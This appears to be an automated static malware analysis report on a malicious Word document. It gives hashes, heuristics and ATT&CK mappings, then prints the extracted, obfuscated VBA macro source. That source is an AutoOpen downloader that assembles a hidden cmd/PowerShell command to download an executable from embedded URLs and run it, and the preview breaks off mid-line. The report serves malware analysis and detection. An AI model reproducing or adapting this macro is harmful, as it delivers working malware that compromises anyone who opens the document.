Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 ff36c4eedb27dd16…

MALICIOUS

Office (OLE)

72.4 KB Created: 2018-09-19 22:35:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: d222dd8769142f481091cb1ddf23e71c SHA-1: 86c8fa140305aeea775aa5fdb5c85e1b7ae7adf2 SHA-256: ff36c4eedb27dd16d1417e177d651b4e5e746c388b5f08dbe9bc9e308a1d6d64
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically an AutoOpen macro, which is a common technique for initial execution. The VBA code is heavily obfuscated and truncated, but it contains a call to the Shell function, indicating it attempts to execute a command or download a payload. The presence of the AutoOpen macro and the ClamAV detection strongly suggest this is a downloader malware.

Heuristics 5

  • ClamAV: Doc.Downloader.00536d-6690697-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.00536d-6690697-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4780 bytes
SHA-256: c12c3d18fb1e365ca57fd9be6aa242c8af7c07d9d860ae36362a3d2ddd86d84c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "NBoYqjWaZ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
Const CuljbjWjd = 0
   Dim raDzX(3)
raDzX(0) = Right(nvVif, 707)
raDzX(1) = Left(HoZKno, 396)
raDzX(2) = Mid(ZAkIA, 307, 38)
   Dim iQBSnp(2)
iQBSnp(0) = MidB(sITDN, 979, 468)
iQBSnp(1) = MidB(sITDN, 979, 468)
   Dim YtjtJ(3)
YtjtJ(0) = MidB(sITDN, 979, 468)
YtjtJ(1) = Right(nvVif, 707)
YtjtJ(2) = MidB(sITDN, 979, 468)
   Dim moLPJw(3)
moLPJw(0) = Left(HoZKno, 396)
moLPJw(1) = Left(HoZKno, 396)
moLPJw(2) = Right(nvVif, 707)
   Dim ibwisV(2)
ibwisV(0) = Right(nvVif, 707)
ibwisV(1) = Left(HoZKno, 396)
Shell@ OnwYfE + arnrIDt + MIjJNMmGsiuVnb, CuljbjWjd
   Dim HVPCqY(5)
HVPCqY(0) = Mid(ZAkIA, 307, 38)
HVPCqY(1) = Mid(ZAkIA, 307, 38)
HVPCqY(2) = Left(HoZKno, 396)
HVPCqY(3) = Mid(ZAkIA, 307, 38)
HVPCqY(4) = Left(HoZKno, 396)
   Dim Evwwz(2)
Evwwz(0) = Right(nvVif, 707)
Evwwz(1) = Right(nvVif, 707)
   Dim kMsBc(5)
kMsBc(0) = Left(HoZKno, 396)
kMsBc(1) = MidB(sITDN, 979, 468)
kMsBc(2) = Mid(ZAkIA, 307, 38)
kMsBc(3) = Mid(ZAkIA, 307, 38)
kMsBc(4) = MidB(sITDN, 979, 468)
End Sub


Attribute VB_Name = "NjwlcZFjnP"
Function OnwYfE()
Dim AwDzJ(3)
AwDzJ(0) = Mid(ZAkIA, 307, 38)
AwDzJ(1) = Left(HoZKno, 396)
AwDzJ(2) = Mid(ZAkIA, 307, 38)
   Dim EKzoTi(5)
EKzoTi(0) = Left(HoZKno, 396)
EKzoTi(1) = Left(HoZKno, 396)
EKzoTi(2) = Right(nvVif, 707)
EKzoTi(3) = Right(nvVif, 707)
EKzoTi(4) = Mid(ZAkIA, 307, 38)
   Dim pjjTMT(2)
pjjTMT(0) = Right(nvVif, 707)
pjjTMT(1) = Left(HoZKno, 396)
   Dim FvrAj(2)
FvrAj(0) = Left(HoZKno, 396)
FvrAj(1) = Right(nvVif, 707)
   Dim unCLOJ(4)
unCLOJ(0) = MidB(sITDN, 979, 468)
unCLOJ(1) = Left(HoZKno, 396)
unCLOJ(2) = Right(nvVif, 707)
unCLOJ(3) = Mid(ZAkIA, 307, 38)
vVMbRi = Chr(Format(7 + 12 + 17 + 16 + 47)) + "md /V/" + Chr(Format(5 + 8 + 11 + 11 + 32)) + Chr(Format(2 + 4 + 5 + 5 + 18)) + "s^e^t ^QF^z" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "= ^ ^   ^  ^ ^   ^ ^   ^ ^" + " ^}^}{^h" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^" + "t^a" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "}^;k^a^erb^;E^UD$ ^me^t" + "^I^-e^kovnI;)E^U^D$^"
Dim OLsow(2)
OLsow(0) = MidB(sITDN, 979, 468)
OLsow(1) = MidB(sITDN, 979, 468)
hSqXAwz = " ^,^Q^Mo$(^eliFd^aoln^w^oD^." + "^Yw^j^${yrt{)u^w^m$ n^i^ ^Q^" + "M^o^$(h" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^a^er^o^f;'exe^.^'^+X" + "Dr$+'^\'+" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "i^lb^" + "up^:vne^$=EU^D$;^'342^' = X" + "^Dr$;)'@^" + "'(t^il^p^S" + "^.^'^LE6V^A^s^s/483" + "^9204^8^3^2^048^32048" + "^32^0^48^" + "2^0.n^im^d^a^-^p^w/^l" + "p.s^tfil//^:p^tt^h^@^erN^U^" + "HYwP/r^b^.mo" + Chr(Format(7 + 12 + 17 + 16 + 47)) + ".g"
Dim VoGnrR(5)
VoGnrR(0) = Mid(ZAkIA, 307, 38)
VoGnrR(1) = Mid(ZAkIA, 307, 38)
VoGnrR(2) = Right(nvVif, 707)
VoGnrR(3) = MidB(sITDN, 979, 468)
VoGnrR(4) = MidB(sITDN, 979, 468)
hdPFKPHlJ = "nitlu^sn^o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^z^ul//:^" + "p^t^th@^sW1v^H^T^a/^mo" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^.swe" + "n^s^t^h^girl^ivi" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^l^ano" + "^it^an//:^ptth^@j^I^yJ" + "WlTW/m^o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + ".^i" + "^dr^ev^el^e^h" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^im//^:^p^t" + "^th^@Svv^F^"
Dim rLmoo(3)
rLmoo(0) = Right(nvVif, 707)
rLmoo(1) = Left(HoZKno, 396)
rLmoo(2) = Mid(ZAkIA, 307, 38)
   Dim TIZwN(5)
TIZwN(0) = MidB(sITDN, 979, 468)
TIZwN(1) = Right(nvVif, 707)
TIZwN(2) = Mid(ZAkIA, 307, 38)
TIZwN(3) = Left(HoZKno, 396)
TIZwN(4) = Right(nvVif, 707)
   Dim wSiXU(3)
wSiXU(0) = Right(nvVif, 707)
wSiXU(1) = Mid(ZAkIA, 307, 38)
wSiXU(2) = Mid(ZAkIA, 307, 38)
HzPCz = "l^p^xj/^s^d" + "^ao^l^pu" + "/^tne^tn^o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^-pw/m" + "o" + Chr(Format(7 + 12 + 17 + 16 + 47)) + "^.ve^d^levar^t^te^g//:^p^t^" + "t^h^'^=^uw^m$^;^" + "tne^il" + Chr(Format(5 + 8 + 11 + 11 + 32)) + "^be^W.t^eN t" + Chr(Form
... (truncated)